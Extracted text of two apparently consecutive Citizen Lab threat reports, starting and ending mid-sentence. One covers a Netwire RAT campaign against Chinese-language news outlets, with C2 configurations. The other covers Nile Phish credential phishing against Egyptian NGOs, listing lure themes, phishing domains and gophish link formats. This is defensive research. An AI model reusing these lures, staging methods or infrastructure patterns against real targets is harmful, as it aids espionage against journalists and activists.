consisting of an unsigned 32 bit integer that is the size of the stage 2 payload, an unsigned 32 bit integer used as a checksum, and 64 bytes of padding. This header is followed by a block of shellcode and a second encrypted payload (see Figure 12). The shellcode decrypts the stage 2 payload using RC4 with different 256-bit keys for each sample. 16/23 Figure 12: Hex code showing jpg header followed by encrypted shellcode This decrypted data contains additional shellcode followed by a PE file. We identify the PE file as the Netwire RAT. The final stage shellcode acts as a loader and maps the RAT into memory and resolves the RAT s imports before jumping to the RAT s entrypoint. Netwire RAT is a multi-platform RAT (Remote Access Tool) that first appeared in 2012. Since its appearance, Netwire RAT has been used in a variety of attacks ranging from stealing credit card data to targeted campaigns against health care and banking sectors. The Netwire samples we analyzed are capable of a wide-range of behavior including: Reading stored usernames and passwords from common apps including: Web Browsers Email Clients 17/23 Instant Messaging Clients Keylogging Taking Screenshots Audio capture Screen recording Process listing, creation, killing, etc. Uploading and downloading files Each of the 4 fake jpg files contains a Netwire sample containing different configuration settings. After analyzing the samples we recovered the configuration settings for each sample (see Appendix A). The use of multiple layers of packed or obfuscated payloads is likely an attempt to evade detection and analysis. Downloading the RAT each time the malware runs could be an attempt to hide the final payload, as the Netwire samples are never written to disk. This process makes direct analysis difficult without memory images or an understanding of the payload decryption and shellcode routines to decrypt the RAT manually. Using different configurations for each sample could be an attempt to use specific domains tailored to each target, or to allow for the use of multiple domains as fallbacks in case previously used domains are discovered and blocked. Each of the four binary samples we analyzed downloaded a copy of the Netwire RAT as a different jpg file. The three hosts used are all legitimate servers with active web pages. In each case, the jpg downloaded by the malware is noticeably larger than other files in the same directory on the server and was last modified more recently. We believe that each of the three servers used to host the files have been compromised and that the operator is using these legitimate servers to host their payload in an effort to hide their activities. Like the phishing operation, the malware setup shows a significant level of effort. We observe custom shellcode paired with an additional step of using likely-compromised servers to host the payload. While Netwire has been seen in some targeted intrusions, it has primarily been used in cybercrime activities and is not common in Asia. Bowen Press Lures The earliest domains registered by the operators that follow the pattern of mimicking China related news organizations were decoys for Bowen Press. The real Bowen Press domain is bowenpress[.]com, the operators registered bowenpress[.]org. We were unable to retrieve the content that originally appeared on the domains in 2015. However, we were able to find copied Bowen Press content on the malware server through Google searches on the news subdirectory of the server. The content was an iframe of the front page of Bowen Press and results in rendering additional error messages (See Figure 13). The existence of Bowen Press content on this server suggests that the operators may have been using Bowen Press lures to serve malware. 18/23 Figure 13: Comparison of real and fake Bowen Press webpages Additionally,we found the Netwire samples in a directory under the URL www.bowenpress[.]org/Adobe/update, even though the website serving the sample was a copy of HK01. The use of this URL path further suggests that the fake Bowen Press domain and content were used to serve malware at some point. The operators may have simply reused the domain for the HK01 related campaign. On March 15, 2017, the front page of the malware server was changed to a copy of the Bowen Press website that mirrored content from the same day (see Figure 14). The copied page did not contain any malicious code and we were unable to find a log.txt file on the server. 19/23 Figure 14: Screenshot of the malware server on March 15 2017 showing copied content from Bowen Press. The only change to the content of the page was the removal of a bot check supplied by WordFence, a security plugin for the WordPress blogging platform. On March 21, the content was removed and the server returned a blank page. We cannot confirm what was the purpose of the recently copied Bowen Press content. However, it shows that the operators have had a continued interest in using Bowen Press content as lures potentially to serve malware. Part 4: Campaign Connections This section links infrastructure used in the campaign against the Chinese-language news sites to previous malware campaigns targeting a Tibetan Radio Station and the Thai government. It also highlights connections between certificate information used to sign the Netwire samples we analyzed and malware used in campaigns targeting gaming companies. Infrastructure Connections to Malware Operations against Tibetan Radio Station Domain registration information for some of the infrastructure used in the campaign have links to earlier targeted malware operations against civil society and government groups in Asia. The WHOIS records for the domains used in the phishing and malware operations include the phone number ( 12126881188). Searching other WHOIS records for this number reveals a known command and control server with a Tibet theme. The WHOIS information for this domain matches all the fields with the exception of the email address. All other fields used match including the same address and misspelling of United States as Uniter States Domain: www.tibetonline[.]info Name: free tibet Mailing Address: Uniter states, Phoenix Arizona 86303 Phone: +1.2126881188 Email: rooterit@outlook.com (admin) fightfortibet@ymail.com (billing) The registrant e-mail is linked to another domain in addition to tibetonline[.]info which is rooter[.]tk. Both these domains are linked to a 2013 campaign targeting Voice of Tibet, an independent radio station reporting on Tibetan issues. In this campaign, the two domains were reported by ThreatConnect as being used as a command and control server (rooter[.]tk) and hosting an Adobe Flash heap spray vulnerability ( tibetonline[.]info) as well as an IE exploit (CVE-2013-1347). Infrastructure Connections to Malware Operations against Thai Government The domain tibetonline[.]info was also identified by Palo Alto Networks as a command and control server used for FFRAT malware recently described by Cylance. This infrastructure overlapped with servers used by a threat actor targeting Thai government entities with the Bookworm trojan in 2015. The general tactics, techniques, and procedures used by this threat actor also show similarities to the campaign we analysed. Both used the same hosting provider on one IP: Cloudie HK (103.226.127[.]47), and used fake Adobe updates to lure targets into installing malware. The threat actor documented by Palo Alto also used fake news site domains (e.g., vancouversun[.]us, yomiuri[.]us, voanews[.]hk, and nhknews[.]hk) Finally, both operations leveraged compromised web servers for command and control. 20/23 Certificate Connections to Malware Targeting Gaming Companies In October 2016 Cylance disclosed information on a threat actor called PassCV , which targeted the gaming industry and used stolen code signing certificates to sign malware. The disclosure was an update to information published by Symantec in July 2014 and Kaspersky s 2013 view into Winnti. Cylance lists three malware samples signed with one of the same certificates used to sign one of the Netwire dropper files in the operation we report on: 57 BE 1A 00 D2 E5 9B DB D1 95 24 AA A1 7E D9 In addition, Cylance also notes the discovery of Netwire being used in the same campaign. The use of Netwire is notable as it is the only other mention of it being used in Chinese-nexus malware operations of which we are aware. The disclosure was an update to information published by Symantec in July 2014 and Kaspersky s 2013 view into Winnti. Explaining the Connections These overlaps point to a number of potential scenarios. The campaign we analyzed may have been conducted by the same threat actors as the previous operations. Alternatively the overlap may be an artifact of resource sharing between separate but unrelated threat actors potentially through the use of a digital quartermaster (a group that supplies operators with malware and other resources), or more informal means. While the first scenario is possible, we do not have enough information to fully substantiate it. We suspect that at the least there is some level of sharing and reuse of infrastructure by the same operator or group of operators. The targets in most of these other campaigns (ethnic minority groups, government in Southeast Asia, and news sites reporting on China) generally fall into the geopolitical interests and strategic concerns of the government of China. However, we have insufficient information to conclusively attribute the campaign to a specific threat actor or state sponsor. Part 5: Discussion and Conclusion This section summarizes the characteristics of the campaign and how it reflects wider information security challenges for news organizations and journalism. A Patient and Persistent Operator While the tactics used in these campaigns are technically simple, the operators demonstrate patience and persistence. They have been using content and domains mimicking Chinese-language news sites as lures since at least 2015, and appear to carefully move from one target to another. The phishing campaign against China Digital Times was stood up and taken down in the span of 20 days. In this period, the operators scanned the CDT site for vulnerabilities, registered a lookalike domain, created a fake CDT decoy site, and sent the group a wave of customized phishing emails. When these efforts were not successful the operators quickly shut down the campaign and moved on to new targeting. The malware operation also showed efforts to bypass detection and analysis. The operators combined obfuscated, packed executables and custom shellcode with an additional step of using compromised servers to host the payload. The news sites used for lures and targeting in the operation all report on topics seen as politically sensitive by the government of China, and follow a general pattern of news organizations reporting on China being targeted by digital 21/23 espionage. While there are connections between these targets and the geopolitical concerns of the Chinese government we cannot conclusively attribute this operation to a state sponsor. What we can clearly determine is that this operation was conducted by a threat actor active for at least 2 years that targets Chinese language news organizations with intrusion attempts and appears to carefully move from target to target. Information Security Challenges for Journalism This campaign reflects general information security challenges for news organizations and journalists. Journalists operate in high-paced environments under intense time pressures. As part of their practice, they regularly receive information from unknown sources in a variety of media (e.g., social media, email, chat messages, etc). Gathering sources and material requires journalists to be open and accessible online. Journalists also may handle sensitive information and contacts. Ideally, information security should be part of their standard work process, but information security is but one consideration out of many other competing priorities. Journalists and management may not have the same level of awareness or concern for information security threats. Bridging these gaps, balancing conflicting necessities for openness, availability, and security all within a resource-constrained environment are major challenges. Nonetheless, information security needs to be addressed. The case we analyzed (and many others like it) shows journalists and news groups are being targeted by digital espionage operations designed to access confidential information and systems. The threat is not only against journalists reporting on China. Previous research has found digital espionage operations targeting journalists reporting on the Middle East, Latin America, Russia, and elsewhere. More work is needed to understand the nature of the threats and ways to mitigate them that are sensitive to the practicalities and realities of journalism. Acknowledgements We are grateful to China Digital Times, Epoch Times, Bowen Press, and HK01 for their participation. Thanks to our colleagues for review and assistance: John Scott-Railton, Lotus Ruan, Jeffrey Knockel, Lokman Tsui, Valkyrie-X Security Research Group, Andrew Hilts, Ron Deibert, and TNG. This project was supported by the John T. and Catherine D. MacArthur Foundation. Appendix A: Malware Configuration Settings File name: 7.jpg ConnectionString: email23.secuerserver[.]com:443; ProxyString: Password: Password HostId: HostId-%Rand% Mutex: InstallPath: StartupKeyName1: StartupKeyName2: KeyLoggerFilePath: BoolSettingsByte: 000 ConnectionType: 000 22/23 File name: 8.jpg ConnectionString: hk.secuerserver[.]com:443; ProxyString: Password: Password HostId: HostId-%Rand% Mutex: InstallPath: StartupKeyName1: StartupKeyName2: KeyLoggerFilePath: BoolSettingsByte: 000 ConnectionType: 001 File name: HHBcampus.jpg ConnectionString: HK.SECUERSERVER[.]COM:443; ProxyString: Password: Password HostId: HostId-%Rand% Mutex: InstallPath: StartupKeyName1: StartupKeyName2: KeyLoggerFilePath: BoolSettingsByte: 000 ConnectionType: 001 Filename: icon_sad.jpg ConnectionString: dns.bowenpress[.]org:443; ProxyString: Password: Password HostId: HostId-%Rand% Mutex: InstallPath: StartupKeyName1: StartupKeyName2: KeyLoggerFilePath: BoolSettingsByte: 000 ConnectionType: 001 Appendix B: Indicators Of Compromise Indicators of compromise for this report can be found on our github page. 23/23 [updated] Nile Phish: Large-Scale Phishing Campaign Targeting Egyptian Civil Society citizenlab.org/2017/02/nilephish-report/ 2/2/2017 By: John Scott-Railton*, Ramy Raoof***, Bill Marczak*, and Etienne Maynier** *Senior Researcher, Citizen Lab, ***Senior Research Technologist, Egyptian Initiative for Personal Rights, **Mozilla Open Web Fellow, Citizen Media coverage: Associated Press, Vice, The Intercept, The Hill, Egyptian Streets, La Stampa, Slate, Cairo Portal, Version2, Al Nabaa, Middle East Monitor, Al Mesryoon, Netzpolitik (in German). Click here to read the EIPR report in Arabic. Update 2/23/2017 Evidence of Two Factor Phishing: Since publication, Citizen Lab and EIPR have been contacted by a number of additional targets. We are preparing a follow-up report, but we believe it is important to note that there is now evidence that the Nile Phish operator has engaged in phishing of 2-factor authentication codes.See: Evidence of 2 Factor Phishing Key Findings Egyptian NGOs are currently being targeted by Nile Phish, a large-scale phishing campaign. Almost all of the targets we identified are also implicated in Case 173, a sprawling legal case brought by the Egyptian government against NGOs, at ich has been referred to as an unprecedented crackdown on Egypt s civil society. Nile Phish operators demonstrate an intimate knowledge of Egyptian NGOs, and are able to roll out phishing attacks within hours of government actions, such as arrests. Summary This report describes Nile Phish, an ongoing and extensive phishing campaign against Egyptian civil society. In recent years, Egypt has witnessed what is widely described as an unprecedented crackdown, on both civil society and dissent. Amidst this backdrop, in late November 2016 Citizen Lab began investigating phishing attempts on staff at the Egyptian Initiative for Personal Rights (EIPR), an Egyptian organization working on research, advocacy and legal engagement to support basic freedoms and rights. With the collaboration and assistance of EIPR, our investigation expanded to include seven Egyptian NGOs targeted by Nile Phish. These seven organizations work on a variety of human rights issues, including political freedoms, gender issues, and freedom of speech. We also identified individual targets, including Egyptian lawyers, journalists, and independent activists. With only a handful of exceptions, Nile Phish targets are implicated in Case 173, a legal case brought against NGOs by the Egyptian government over issues of foreign funding. The phishing campaign also coincides with renewed pressure on these organizations and their staff by the Egyptian government, in the context of Case 173, including asset freezes, travel bans, forced closures, and arrests. Our collaborative investigation has documented at least 92 messages sent by Nile Phish, many highly personalized, and sent as recently as January 31st, 2017. The phishing campaign has included at least two phases, each with distinct phishing tactics and domains. Efforts seem to have been made to compartmentalize the infrastructure for each phase, but a technical error allowed us to link the servers and conclude that the two phases were part of a single campaign. Nile Phish s sponsor clearly has a strong interest in the activities of Egyptian NGOs, specifically those charged by the Egyptian government in Case 173. The Nile Phish operator shows intimate familiarity with the targeted NGOs activities, the concerns of their staff, and an ability to quickly phish on the heels of action by the Egyptian government. For example, we observed phishing against the colleagues of prominent Egyptian lawyer Azza Soliman, within hours of her arrest in December 2016. The phishing claimed to be a copy of her arrest warrant. We are not in a position in this report to conclusively attribute Nile Phish to a particular sponsor. However, the scale of the campaign and its persistence, within the context of other legal pressures and harassment, compound the extremely difficult situation faced by NGOs in Egypt. Background 1/14 In recent years, political assembly, freedom of speech, independent media, and civic organizing have been increasingly constrained in Egypt. This concerted effort has been widely called an unprecedented crackdown against civil society. One component of this effort has been a rising tide of official and semi-official allegations of foreign interference and foreign funding against Egypt s civil society organizations. In 2011, the Egyptian Government embarked on a wide-ranging legal case charging that many civil society organizations receive foreign funding, and may be engaged in prohibited or illegal activities. The case is widely viewed as politically-motivated, and an attempt to frustrate and block the ability of Egyptian civil society to continue its pro-democracy and human rights monitoring work. As part of Case 173, international organizations (e.g.,the National Democratic Institute) and domestic groups (e.g. the Egyptian Initiative for Personal Rights) have been subjected to a wide range of legal sanctions, including arrests, travel bans, asset freezes and harsh sentencing. In 2013, 43 defendants working for international NGOs were sentenced to prison for their work, many in absentia as they had already left the country. Now more than 5 years old, Case 173 has been marked by periods of calm, and of intense activity. Initially primarily focused on international NGOs like the National Democratic Institute and the Konrad Adenauer Foundation, the case has grown increasingly focused on domestic Egyptian organizations. The 37 organizations known to be accused in the case include respected civil liberties groups, pro-bono law firms, and organizations working on gender issues. More recently, beginning in Spring 2016, travel bans and asset freezes were placed on staff members of some domestic organizations under investigation. As a result, many who work for NGOs named in the case are concerned that their ability to travel may be restricted, and that they may face arrest, jail time or other forms of punishment. Nile Phish, the campaign described in this report, not only targets these individuals, but uses deceptions that play directly into these fears and concerns. The Nile Phish Campaign In late 2016, Citizen Lab was contacted by the Egyptian Initiative for Personal Rights (EIPR), whose technical team had observed a growing number of suspicious emails sent to EIPR accounts. The messages had caught the attention of the technical team because multiple messages arrived at the same time, concerned current events, and seemed to play on emotional themes related to Case 173. EIPR s team helped broaden the investigation to a total of seven targeted Egyptian NGOs. All of the seven Egyptian organizations are also implicated by Case 173. The targets include reputable and respected organizations working on political and rights issues such as freedom of expression, gender rights, and victims of torture and forced disappearances. Six of the organizations have agreed to be named in this report and one requested to be referenced anonymously (see Table 1). Table 1: Egyptian NGOs Known to be Targeted by Nile Phish Targeted NGO What they do Association for Freedom of Thought and Expression (AFTE) Legal aid, strategic litigation, and awareness-raising on issues of freedom of expression in Egypt. Cairo Institute for Human Rights Studies (CIHRS) A regional NGO that promotes respect for human rights and democracy in the Arab Region. Egyptian Commission for Rights and Freedoms (ECRF) Egyptian organization defending human rights and tracking violations. Tracks and campaigns against forced disappearances Egyptian Initiative for Personal Rights (EIPR) Works to strengthen and protect basic rights and freedoms in Egypt through research, advocacy, and litigation. Areas of work include civil liberties, economic and social rights, and criminal justice. Nadeem Center for Rehabilitation of Victims of Violence (Nadeem) An anti-torture organization that focuses on assisting victims of torture with rehabilitation, including providing legal services and social support. Nazra for Feminist Studies (Nazra) Promoting the political participation of women, as well as addressing sexual violence, the organization treats feminism and gender rights as political and social issues. Unnamed NGO This organization has requested that it not be named In addition to the organizations, we identified a small number of individual targets in Egypt, including well-respected lawyers, journalists, and activists. We strongly suspect that there may be other targets, and hope that the Indicators of Targeting that we provide in Appendix A can be used by systems administrators and others to seek evidence of targeting. 2/14 How The Investigation Began The first Nile Phish message that we examined, sent by Nile Phish to several Egyptian NGOs on November 24, 2016, was made to appear to come from the Nadeem Center for Rehabilitation of Victims of Violence (Nadeem), and invited the NGO staff member to participate in a nonexistent panel discussing Egypt s draft NGO Act, which was nearing a vote in Parliament. The recipient was invited to visit a link to read more about the panel. The operators used language from a real NGO statement that had been circulating, embellishing it with the fake meeting. According to the carefully crafted fiction, the event was co-sponsored by several other NGOs, including EIPR, the Cairo Institute for Human Rights Studies (CIHRS) and Nazra for Feminist Studies (Nazra). These NGOs were signatories of the legitimate statement. Interestingly Nadeem, EIPR, CIHRS, and Nazra were all later targeted by the same phishing campaign. Nov 24 Message Excerpt (Translated) The state has already taken real steps to eliminate Egyptian civil society organizations by prosecuting case no. 173/2011 on foreign funding, and several organizations and their current and former directors have been banned from travel and have had their assets frozen. This new law, however, would pave the way for the eradication of any sort of civic action geared to development, charitable activities, and services.. Therefore, El Nadeem will organize jointly with political parties and ngos a panel to discuss the status of the civil society organizations in Egypt in the light of the new act beside the restrictions practiced by the security authorities such as travel ban and assesses free, and others restrictive to societal and development work in Egypt. [Link to the agenda and to register for the event] The link led to a site designed to trick the target into believing that they needed to enter their password to view the file. After confirming that the message was a phishing attack, we began investigation in close collaboration with EIPR s technical team, which was by then observing a second wave of messages claiming to share a document that listed individuals subject to travel bans. The recipients were the staff of Egyptian civil society organizations, many of whom suspected that they might be included on these lists. We have now documented at least 92 messages from Nile Phish, which we link together by use of the same servers and phishing toolkit. The majority of the emails were sent to the work accounts of the targets. The messages have targeted at least seven organizations, as well as a number of individual activists, lawyers, and journalists. Almost all of the targets are staff of organizations that are defendants in Case 173. The campaign falls into two phases, which map both onto phishing style, and to different server infrastructure (See: Nile Phish Infrastructure) What is Phishing? Phishing is a tactic to steal personal information, like passwords, through deception. Many phishing emails often try to trick you into entering passwords and other secret codes into websites that look legitimate, but are really fake. While phishing can be used by criminal gangs to steal bank information and for other financial crimes, phishing is also used for espionage and surveillance. For example, the Nile Phish operation seems to be designed to gain access to email accounts and document sharing files belonging to NGOs. Phase 1: Arrest warrants, invitations, and travel ban lists Late November- Late December 2016 In the first phase of the phishing (approximately November 24-December 26, 2016) a majority of the messages were crafted with references to the ongoing crackdown on civil society, and especially Case 173. Typically, the messages masqueraded as document shares, primarily via Google or Dropbox, containing highly relevant or sensitive information. The following example of a phishing email that leveraged a recent arrest of a prominent Egyptian lawyer as a lure, illustrates that the phishing was both extremely timely, and conducted by those well aware of the activities of the Egyptian government. Specifically, it suggests that within a few hours of an arrest, the operator of the campaign was using this event as part of their phishing attack. An Arrest Becomes Phishing On December 7, 2016 prominent Egyptian lawyer and the Director of the Center for Women s Legal Assistance Azza Soliman was arrested at her home. Within hours, while Soliman was still being interrogated at the police station, several of her colleagues in other NGOs received an email purporting to be a Dropbox share of her arrest warrant. (See: Figure 1). 3/14 Figure 1. Phishing email purporting to share Arrest Warrant Against Azza Soliman.pdf Clicking on the link leads to a Dropbox credential phishing page pre-populated with the target s username. Figure 2: A fake Dropbox login page pre-populated with the identity of the target. A majority of the Phase 1 messages concerned the court case, and were typically sent to targets organizational emails. Where targets were independent activists, we also found targeting of their personal email accounts. Example Domains from Phase 1 Phishing Theme Pretext Some Targeted NGOs Example Domains Trial related Share of travel ban list EIPR dropboxsupport.servehttp[.]com Trial related Arrest warrant of an activist arrested on the same day Nadeem dropbox-service.serveftp[.]com, googledriversign.ddns[.]net Trial related Panel invitation to discuss the case [unnamed group] mailgooglesign.servehttp[.]com Trial related NGO letter to the Egyptian President about the case CIHRS dropbox-sign.servehttp[.]com 4/14 A majority of the messages were sent using Gmail accounts with names that look like legitimate services. This approach does not hold up to close scrutiny of the sender s email addresses, but also allows the message to be sent via a sender known to Gmail, and thus not flagged by Gmail as sent over an insecure connection. Masquerading As Lookalike Email Dropbox Gmail customerserviceonlineteam@gmail.com, dropbox.notfication@gmail.com,dropbox.notifications.mails@gmail.com, dropbox.noreplay@gmail.com drive.noreply.mail@gmail.com,secure.policy.check@gmail.com (Phase 2) Phase 2: A Tactical Shift Mid-December January 31st 2016 (ongoing) When we began systematically tracking the campaign in late November 2016 almost all of the messages we observed concerned issues related to Case 173, as well as being personalized to the recipient. This approach continued until late December. However, by mid-December, we began observing a growing number of generic phishing messages, mostly emphasizing account security issues. Here is an example of such a generic, but still personalized message. Figure 3: Fake Gmail failed login warning message These messages, while still personalized with users names, relied on a range of common phishing tactics, such as warnings of suspicious login attempts, and other account security issues. In a few cases, the operators also included package-delivery notifications. After December 26, we no longer observed any personalized messages. This shift maps onto changes in server infrastructure (see: Nile Phish Infrastructure). Example Domains from Phase 2 Phishing 5/14 Theme Pretext Some Targeted NGOs Example Domains Gmail Phishing Failed login, insecure connection, EIPR, AFTE, CIHRS, Nazra, ECRF, a prominent journalist googleverify-signin.servehttp[.]com, googlesignin.servehttp[.]com, securitymyaccount.servehttp[.]com It is unclear why Nile Phish operators wound-down their use of Case 173 themes as the campaign went on. It is possible, for example, that they began to suspect that the targets were wary of such messages. It is equally possible that they simply decided to scale back some of their efforts, and rely more heavily on the pre-built examples in the toolkit they used. It is also possible that this represents a fluke either in how the messages were collected, or a pause on the part of the operators. The final possibility is that Nile Phish is a component of a larger operation, and that the operators may intend to continue to use tailored social engineering for other purposes, such as delivering malware. Artefacts: Egyptian Chat Slang While examining the credential landing pages we also found messages and comments that the Nile Phish operators had left for each other. The writing is instantly recognizable as a form of Egyptian Arabic slang (mixing letters and characters) sometimes referred as Araby. Highlighted text: Will remove the cookies from here and point it to our server Highlighted text: Here we will insert the default username page Highlighted text: And here too take care Nile Phish Using Open-Source Phishing Toolkit Nile Phish mounted this campaign with gophish, an open-source phishing framework written in the Go language. The gophish framework is intended to be used defensively, as part of anti-phishing trainings. This is the first offensive use of gophish of which we are aware. Its developer describes it as designed for businesses and penetration testers. It provides the ability to quickly and easily setup and execute phishing engagements and security awareness training. Support for capturing credentials submitted on phishing pages was added to gophish in February 2016. 6/14 The growing number of open-source and widely available phishing frameworks designed for penetration testing have made it easy to set up a phishing campaign. While some free and hosted phishing frameworks require a degree of authentication onto a particular domain, such as the online Duo Insight, many that are self-hosted do not. The lack of authentication, while minimizing invasiveness and protecting user privacy, is also a double-edged sword, and means that it can be abused to conduct non-consensual and illegal phishing campaigns. Discovery and Identification Examination of the phishing infrastructure provided evidence of artefacts from a cloned git repository, suggesting that this was a likely from a project on Github. This led us to conclude that the operators were likely making use of an existing phishing framework. Further investigation revealed that the domains were serving the gophish admin page on port 7777, and the scheme of the phishing URLs matched those of gophish. Figure 4: Screenshot of gophish admin interface Gophish links have a common format, which can be used to quickly identify a link sent via the platform. Gophish link http://[domain]/?rid=[target identifier string] Contact with Gophish Citizen Lab contacted Jordan Wright, the developer of Gophish and provided examples of the links used in the campaign. Wright provided us the following response: The links have the same structure as those sent in a Gophish campaign and there are Gophish administrative portals available on those hosts. Gophish is designed to help administrators test their organization s exposure to phishing. By running phishing tests against one s own organization, the hope is that members of the organization will be better at spotting and avoiding phishing emails in the future, mitigating attacks like this. The Gophish team does not condone using the software for any purpose other than running controlled tests to measure your own organization s exposure to phishing. While we cannot control users and prevent all misuse of the software, we will continue taking any measures possible to prevent this kind of abuse in the future. Nile Phish Infrastructure The campaign s operators used commercial web hosting located in Europe ( Choopa and AlexHost) to host the campaign. They have shown evidence of basic operational security practices, including server compartmentation between Phase 1 and Phase 2. Nevertheless, in what appears to have been a mistake, one domain resolved to servers from both phases at different times. 7/14 Using passive DNS analysis tools including PassiveTotal, we were able to further characterize the infrastructure, and how it was used throughout Phase 1 and Phase 2 of the campaign. We also identified an additional 13 domains through passive DNS research, indicating that the campaign may include a range of other targets not uncovered in our investigation. Phase 1 Infrastructure Using passive DNS we found that Phase 1 included at least six domains, all hosted on 108.61.176[.]96. googledrive-sign.servehttp[.]com dropboxsupport.servehttp[.]com googledriver-sign.ddns[.]net dropbox-service.serveftp[.]com dropbox-sign.servehttp[.]com mailgooglesign.servehttp[.]com Phase 2 Infrastructure The second phase of the campaign included at least 16 domains, hosted on IPs 104.238.191[.]204 and 176.123.26[.]42. fedex-shipping.servehttp[.]com verification-acc.servehttp[.]com google-maps.servehttp[.]com fedex-mail.servehttp[.]com secure-team.servehttp[.]com account-google.serveftp[.]com googleverify-signin.servehttp[.]com googlesecure-serv.servehttp[.]com googlesignin.servehttp[.]com security-myaccount.servehttp[.]com myaccount.servehttp[.]com activate-google.servehttp[.]com googlemaps.servehttp[.]com device-activation.servehttp[.]com aramex-shipping.servehttp[.]com fedex-sign.servehttp[.]com Additional Domains Through passive DNS research, we identified 13 additional domains using the same dynamic DNS server and IP addresses. dropbox-verfy.servehttp[.]com fedex-s.servehttp[.]com watchyoutube.servehttp[.]com moi-gov.serveftp[.]com verification-team.servehttp[.]com securityteam-notify.servehttp[.]com secure-alert.servehttp[.]com quota-notification.servehttp[.]com notification-team.servehttp[.]com fedex-notification.servehttp[.]com docs-mails.servehttp[.]com restricted-videos.servehttp[.]com dropboxnotification.servehttp[.]com Linking the Infrastructure While the operators maintained a degree of compartmentation between domains, we found that the domain fedex-sign.servehttp[.]com resolved to both Phase 1 and Phase 2 infrastructure. Domain Resolution Until Infrastructure Belongs to fedex-sign.servehttp[.]com 108.61.176[.]96 13 December 2017 Phase 1 8/14 104.238.191[.]204 19 December 2017 Phase 2 Phishing: The Royal Road to Account Compromise Reporting on targeted threats often gets attention because of the sophistication of the attackers tools, yet by volume many successful attacks use much less advanced technology. The recent case of an iOS zero day used against UAE and Mexican civil society represents a relatively sophisticated and expensive attack vector. While such an operation is costly and relatively difficult to detect, many operations that we have observed at the Citizen Lab use much less sophisticated technical means. In this report we described how the Nile Phish operators used targeted, timely, and clever deceptions combined with an open-source phishing framework. Why Do Many Threat Actors Still Use Credential Phishing? While we cannot know Nile Phish operators reasons for choosing phishing, assuming they have access to other techniques, we can speculate that they used social engineering because it works. A phishing campaign has a number of advantages, even for operators capable of obtaining expensive and sophisticated malware. Indeed, even in cases where the same operators may also possess and deploy malware. As an exercise, the following table emphasizes some of the advantages of phishing as a technique to gain access to private communications when used by a well resourced actor. The table highlights some of the reasons why such actors may continue to use phishing. Credential Phishing: Why it keeps being used as a surveillance tool Concern Credential Phishing Cost / Skill Zero or near-zero development cost. Can be deployed with little or no technical skills. Scalability High. Easily deployed against dozens, thousands, or more targets. Adaptability High. Domains and emails can be quickly modified if a particular approach is not working. Risk of burning expensive tools and methods Low. Phishing can be conducted using free and open-source toolkits. Discovery does not result in the compromise of special technical tools, costly exploits, or malware Attribution Debateable. Like the use of Commercial-Off-The-Shelf (COTS) malware, phishing does not instantly point to a particular type of actor, such as a government, as many malicious actors use this technique. Discovery of a tool like NSO Group Pegasus or Hacking Team s Remote Control System, on the other hand, strongly implies state involvement, as they are marketed for lawful intercept purposes and the cost of procuring those tools precludes those without significant resources from acquiring them. Moreover, finding phishing may not alert the target that a sophisticated attacker is present. Diverse target environment Phishing does not require knowledge of a target s devices, antivirus, or other endpoint security features. Nor does it require a means to bypass these, such as an exploit, in order to gain access to targeted communications. Gathering relevant data Email and online accounts often contain huge troves of data which, when compromised, can quickly be siphoned out of accounts remotely. In using phishing, Nile Phish operators are far from alone. Citizen Lab reports have repeatedly pointed out that many operators, including those with access to more sophisticated technologies, persist in phishing and other forms of basic social engineering. For example, in South America, the Packrat group, which was active against civil society in several countries, made use of credential phishing as part of its multi-year campaign. Similarly, operations targeting the Tibetan diaspora have also made use of phishing, as have operations targeting the Syrian opposition, Iranian pro-democracy organizations, and many others. Cheap Ways to Make Phishing NGOs Harder Civil society groups make widespread use of cloud email services, file sharing and collaboration tools. These services are exceptionally helpful to organizations that do not have the resources to maintain or secure self-hosted deployments. Many of these cloud services have powerful security features, like 2-factor authentication, that are capable of blunting the impact of straightforward credential phishing. However, 9/14 most of these security features are not enabled by default, whether for individual users of cloud services, or for organizations. The absence of default-on security features predictably leads to a lower rate of use, and keeps the door open for phishing. What is Two Factor Authentication? Two Factor Authentication has many names, like 2 Step Authentication, Login Approvals, 2FA, and so on, but they typically refer to the same thing: combining a password with a second factor that only the authorized user has. Most commonly this is a text message sent to the user s phone. Other versions include physical tokens, code generators, authenticator apps or prompts on devices, and so on. Click here for a list of services that support Two Factor Authentication. From the perspective of an NGO however, several approaches are available to increase the cost of phishing, including using more secure forms of 2 Factor Authentication. As a next-level step, organizations can also implement phishing / social engineering awareness exercises. Increase the Cost to Phish an NGO Anti-Phishing Technique Works on Limitations 2 Factor Authentication with Authenticator Apps or Yubikeys Account security, means that even if credentials are phished a second factor is still required. 2 Factor Authentication can still be phished in some circumstances, such as tricking victims into entering codes from authenticator apps, although deceptions must be more elaborate. Does not protect against some malware attacks that steal two factor codes from devices. Phishing Training Human behavior, increasing the likelihood that phishing is noticed. Can be time consuming, and requires organizational buy-in. While free tools like Duo Insight are available, other solutions can be expensive. Using Secure 2 Factor Authentication The most common form of 2 Factor authentication is to receive SMS messages. Although a growing number of threat actors are experimenting with phishing 2 Factor credentials, and tampering with SMS-based authentication, including in Egypt, when implemented securely the feature is a low-cost way to dramatically increase the cost-to-phish. One way to increase the security of 2 Factor authentication is to move away from SMS-based authentication to Authenticator Apps or, even more secure, Yubikeys. Both Google and, most recently Facebook, now support Yubikeys for authentication. Next Level: Behavioral Training Phishing exploits vulnerabilities that will always be present in human behavior. When a phishing campaign like Nile Phish targets an organization, the operators do not expect that everyone will be duped. One compromise is enough to begin siphoning private data, and to start using that data to construct more convincing phishing or malware attacks against others in an organization. There is a growing consensus that repeated training with mock-phishing exercises, in the form of realistic phishing e-mails sent by the organization s IT staff, can be an effective way to build an organization human firewall. There are a number of free tools that NGOs can use to conduct these exercises, including Duo Insight. Ironically, Gophish is another such tool, although it requires slightly more technical sophistication to implement. Many other solutions are available, many of them commercial. While not every organization will be able to implement behavioral training, it is a free and highly effective strategy for reducing institutional exposure to phishing attacks and social engineering. What Technology Companies Can Do Right Now Major online companies have been reluctant to add 2 Factor Authentication as a default for new account creation. Keeping 2 Factor an opt-in security feature, rather than opt-out means that most users will not enable it. No exact numbers are publicly available about 2 Factor adoption rates, but if it looks like other opt-in choices (e.g. seat belts before being made mandatory), it is unlikely to be adopted by a majority of users. While there are trade-offs to enabling 2 factor as a default (e.g. costs to account recovery and friction in user experience), reports like this one make it clear that credential phishing will continue to be widely practiced by a range of threat actors against some of the most vulnerable user groups. Conclusion: Nile Phish is yet another threat to Egypt s Civil Society Egyptian NGOs have faced a sprawling legal case that is in its fifth year. The case has resulted in arrests, travel bans, asset freezes, and 10/14 prison sentences. Almost all of the 92 phishing emails 